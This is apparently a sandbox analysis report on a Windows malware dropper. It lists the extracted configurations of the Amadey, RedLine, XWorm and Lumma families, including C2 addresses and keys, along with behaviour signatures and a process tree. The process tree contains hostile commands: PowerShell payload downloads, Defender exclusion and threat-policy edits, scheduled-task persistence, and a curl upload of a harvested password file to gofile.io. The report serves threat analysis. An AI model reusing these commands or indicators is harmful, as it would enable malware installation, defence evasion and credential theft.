Analysis
- max time kernel
295s - max time network
298s - platform
windows10-1703_x64 - resource
win10-20240404-en - resource tags
- submitted
07/06/2024, 01:49
General
- Target d9da99c84aabbb2498b2ffef9210dce5a5a8ff9cac512f7bb3c50f68dd8ea043.exe
- Size 1.8MB
- Sample240607-b8py3aff5y
- SHA256 d9da99c84aabbb2498b2ffef9210dce5a5a8ff9cac512f7bb3c50f68dd8ea043
Malware Config
Extracted
-
ps1
-
exe.dropper
https://d22hce23hy1ej9.cloudfront.net/load/th.php?a=2836&c=1002
Extracted
-
ps1
-
exe.dropper
https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=458&c=1002
Extracted
-
amadey
-
4.21
-
0e6740
-
http://147.45.47.155
-
install_dir
9217037dc9
-
install_file
explortu.exe
-
strings_key
8e894a8a4a3d0da8924003a561cfb244
-
url_paths
/ku4Nor9/index.php
Extracted
-
amadey
-
8254624243
-
e76b71
-
http://77.91.77.81
-
install_dir
8254624243
-
install_file
axplong.exe
-
strings_key
90049e51fabf09df0d6748e0b271922e
-
url_paths
/Kiru9gu/index.php
Extracted
-
redline
-
newbild
-
185.215.113.67:40960
Extracted
-
redline
-
@LOGSCLOUDYT_BOT
-
185.172.128.33:8970
Extracted
-
amadey
-
4.21
-
9a3efc
-
http://check-ftp.ru
-
install_dir
b9695770f1
-
install_file
Dctooux.exe
-
strings_key
1d3a0f2941c4060dba7f23a378474944
-
url_paths
/forum/index.php
Extracted
-
amadey
-
4.19
-
8fc809
-
http://nudump.com
-
http://otyt.ru
-
http://selltix.org
-
install_dir
b739b37d80
-
install_file
Dctooux.exe
-
strings_key
65bac8d4c26069c29f1fd276f7af33f3
-
url_paths
/forum/index.php
/forum2/index.php
/forum3/index.php
Extracted
-
xworm
-
3.1
-
185.91.127.220:7000
-
J7nl5MwCxTq9hrOG
-
install_file
USB.exe
Extracted
-
lumma
-
https://distincttangyflippan.shop/api
Signatures
- Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
- Detect Xworm Payload 1 IoCs
- Lumma Stealer
An infostealer written in C++ first seen in August 2022.
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 3 IoCs
- RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
- Xworm
Xworm is a remote access trojan written in C#.
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 16 IoCs
- Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
- Blocklisted process makes network request 4 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 24 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Creates new service(s) 2 TTPs
- Downloads MZ/PE file
- Drops file in Drivers directory 10 IoCs
- Modifies Installed Components in the registry 2 TTPs 6 IoCs
- Sets service image path in registry 2 TTPs 11 IoCs
- Checks BIOS information in registry 2 TTPs 30 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops startup file 5 IoCs
- Executes dropped EXE 64 IoCs
- Identifies Wine through registry keys 2 TTPs 16 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
- Loads dropped DLL 64 IoCs
- Modifies system executable filetype association 2 TTPs 2 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Registers COM server for autorun 1 TTPs 3 IoCs
- Unexpected DNS network traffic destination 4 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 4 IoCs
- Checks for any installed AV software in registry 1 TTPs 37 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 3 IoCs
- Drops Chrome extension 2 IoCs
- Drops desktop.ini file(s) 1 IoCs
- Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Writes to the Master Boot Record (MBR) 1 TTPs 7 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
- AutoIT Executable 1 IoCs
AutoIT scripts compiled to PE executables.
- Drops file in System32 directory 57 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 14 IoCs
- Suspicious use of SetThreadContext 5 IoCs
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 7 IoCs
- Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 10 IoCs
- NSIS installer 2 IoCs
- Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
- Creates scheduled task(s) 1 TTPs 11 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Enumerates processes with tasklist 1 TTPs 2 IoCs
- Enumerates system info in registry 2 TTPs 7 IoCs
- Kills process with taskkill 14 IoCs
- Modifies data under HKEY_USERS 64 IoCs
- Modifies registry class 64 IoCs
- Modifies system certificate store 2 TTPs 64 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 24 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 61 IoCs
- Suspicious use of SendNotifyMessage 57 IoCs
- Suspicious use of SetWindowsHookEx 13 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\d9da99c84aabbb2498b2ffef9210dce5a5a8ff9cac512f7bb3c50f68dd8ea043.exe"C:\Users\Admin\AppData\Local\Temp\d9da99c84aabbb2498b2ffef9210dce5a5a8ff9cac512f7bb3c50f68dd8ea043.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe"C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe"C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe"4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\1000011002\6d9528ebd6.exe"C:\Users\Admin\1000011002\6d9528ebd6.exe"4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe"C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe"5⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\1000002001\file300un.exe"C:\Users\Admin\AppData\Local\Temp\1000002001\file300un.exe"6⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:UserProfile7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"7⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"7⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"7⤵
- Drops startup file
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Pictures\phnvIrCJb8nM4CSbzaXFeXiG.exe"C:\Users\Admin\Pictures\phnvIrCJb8nM4CSbzaXFeXiG.exe"8⤵
- Executes dropped EXE
- Drops file in Windows directory
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6096 -s 7049⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6096 -s 7409⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6096 -s 8089⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6096 -s 8249⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6096 -s 8529⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6096 -s 8609⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6096 -s 10649⤵
- Program crash
-
-
-
C:\Users\Admin\Pictures\fwQq2FmZh5TizxJHX4wuhIw1.exe"C:\Users\Admin\Pictures\fwQq2FmZh5TizxJHX4wuhIw1.exe" /s8⤵
- Executes dropped EXE
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\Pictures\360TS_Setup.exe"C:\Users\Admin\Pictures\360TS_Setup.exe" /c:WW.Marketator.CPI20230405 /pmode:2 /s /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo=9⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\1717725100_0\360TS_Setup.exe"C:\Program Files (x86)\1717725100_0\360TS_Setup.exe" /c:WW.Marketator.CPI20230405 /pmode:2 /s /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo= /TSinstall10⤵
- Drops file in Drivers directory
- Sets service image path in registry
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Checks for any installed AV software in registry
- Checks whether UAC is enabled
- Writes to the Master Boot Record (MBR)
- Drops file in Program Files directory
- Checks processor information in registry
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: LoadsDriver
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\bcdedit.exe"C:\Windows\system32\bcdedit.exe" /set {bootmgr} flightsigning on11⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exe"C:\Windows\system32\bcdedit.exe" /set flightsigning on11⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\360\Total Security\MenuEx64.dll"11⤵
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\360\Total Security\MenuEx64.dll"12⤵
- Modifies system executable filetype association
- Registers COM server for autorun
- Modifies registry class
-
-
-
C:\Program Files (x86)\360\Total Security\Utils\PowerSaver.exe"C:\Program Files (x86)\360\Total Security\Utils\PowerSaver.exe" /flightsigning11⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe"C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe" /install11⤵
- Drops file in Drivers directory
- Sets service image path in registry
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe"C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe"11⤵
- Modifies Installed Components in the registry
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe authroots.sst12⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe updroots.sst12⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe -l roots.sst12⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe -d delroots.sst12⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
-
-
-
-
C:\Users\Admin\Pictures\f2zl33O5cX9YCMdSx00hKlz7.exe"C:\Users\Admin\Pictures\f2zl33O5cX9YCMdSx00hKlz7.exe"8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zSBD83.tmp\Install.exe.\Install.exe9⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zSC033.tmp\Install.exe.\Install.exe /yqjCHdidlQ "385118" /S10⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Enumerates system info in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"11⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"12⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 613⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 614⤵
-
-
-
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"12⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 613⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 614⤵
-
-
-
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"12⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 613⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 614⤵
-
-
-
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"12⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 613⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 614⤵
-
-
-
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"12⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell start-process -WindowStyle Hidden gpupdate.exe /force13⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell start-process -WindowStyle Hidden gpupdate.exe /force14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force15⤵
-
-
-
-
-
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"11⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True12⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True14⤵
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bjPRdWxZxSSObMFEvg" /SC once /ST 01:52:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSC033.tmp\Install.exe\" PX /SdXdidpxft 385118 /S" /V1 /F11⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bjPRdWxZxSSObMFEvg"11⤵
-
C:\Windows\SysWOW64\cmd.exe/C schtasks /run /I /tn bjPRdWxZxSSObMFEvg12⤵
-
\??\c:\windows\SysWOW64\schtasks.exeschtasks /run /I /tn bjPRdWxZxSSObMFEvg13⤵
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5404 -s 93211⤵
- Program crash
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe"C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"7⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000005001\judit.exe"C:\Users\Admin\AppData\Local\Temp\1000005001\judit.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\onefile_5284_133621986930793728\stub.exe"C:\Users\Admin\AppData\Local\Temp\1000005001\judit.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"8⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"8⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid9⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist"8⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV19⤵
-
-
C:\Windows\system32\tasklist.exetasklist9⤵
- Enumerates processes with tasklist
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000007001\redline123123.exe"C:\Users\Admin\AppData\Local\Temp\1000007001\redline123123.exe"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\1000008001\upd.exe"C:\Users\Admin\AppData\Local\Temp\1000008001\upd.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe"C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe"8⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\configurationValue\One.exe"C:\Users\Admin\AppData\Roaming\configurationValue\One.exe"8⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"8⤵
-
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 39⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000009001\lumma123.exe"C:\Users\Admin\AppData\Local\Temp\1000009001\lumma123.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"7⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000021001\NewR.exe"C:\Users\Admin\AppData\Local\Temp\1000021001\NewR.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewR.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000021001\NewR.exe" /F7⤵
- Creates scheduled task(s)
-
-
C:\Users\Admin\AppData\Local\Temp\1000292001\loader-1002.exe"C:\Users\Admin\AppData\Local\Temp\1000292001\loader-1002.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsuF6C6.tmp\may.bat"8⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/th.php?a=2836&c=1002','stat')"9⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=458&c=1002','i0.exe')"9⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\i0.exei0.exe /verysilent /sub=10009⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-BOMCF.tmp\i0.tmp"C:\Users\Admin\AppData\Local\Temp\is-BOMCF.tmp\i0.tmp" /SL5="$50296,26775516,899584,C:\Users\Admin\AppData\Local\Temp\i0.exe" /verysilent /sub=100010⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" "C:\Windows\system32\cmd.exe" /S /C ""C:\Program Files\Google\Chrome\Application/chrome.exe" --pack-extension=C:\Users\Admin\AppData\Local\Temp\is-5Q95A.tmp\qaihih > "C:\Users\Admin\AppData\Local\Temp\is-5Q95A.tmp\~execwithresult.txt""11⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application/chrome.exe" --pack-extension=C:\Users\Admin\AppData\Local\Temp\is-5Q95A.tmp\qaihih12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ffacf5d9758,0x7ffacf5d9768,0x7ffacf5d977813⤵
-
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" "C:\Windows\system32\cmd.exe" /S /C ""openssl.exe" rsa -in .\qaihih.pem -pubout -outform DER > "C:\Users\Admin\AppData\Local\Temp\is-5Q95A.tmp\~execwithresult.txt""11⤵
-
-
C:\Users\Admin\AppData\Local\Temp\is-5Q95A.tmp\setacl.exe"C:\Users\Admin\AppData\Local\Temp\is-5Q95A.tmp/setacl.exe" -silent -on "C:\Program Files\Google\Chrome\Application" -ot file -actn ace -ace "n:S-1-5-32-544;p:write;m:deny"11⤵
- Executes dropped EXE
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /f /im "msedge.exe"11⤵
- Kills process with taskkill
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV112⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /f /im "chrome.exe"11⤵
- Kills process with taskkill
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000293001\8fc809.exe"C:\Users\Admin\AppData\Local\Temp\1000293001\8fc809.exe"7⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000022001\next.exe"C:\Users\Admin\AppData\Local\Temp\1000022001\next.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Updatesystem.exe"C:\Users\Admin\AppData\Roaming\Updatesystem.exe"7⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\Updatesys.exe"C:\Users\Admin\AppData\Roaming\Updatesys.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Updatesys.exe"C:\Users\Admin\AppData\Roaming\Updatesys.exe"8⤵
- Drops startup file
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist"9⤵
-
C:\Windows\system32\tasklist.exetasklist10⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store3.gofile.io/uploadFile"9⤵
-
-
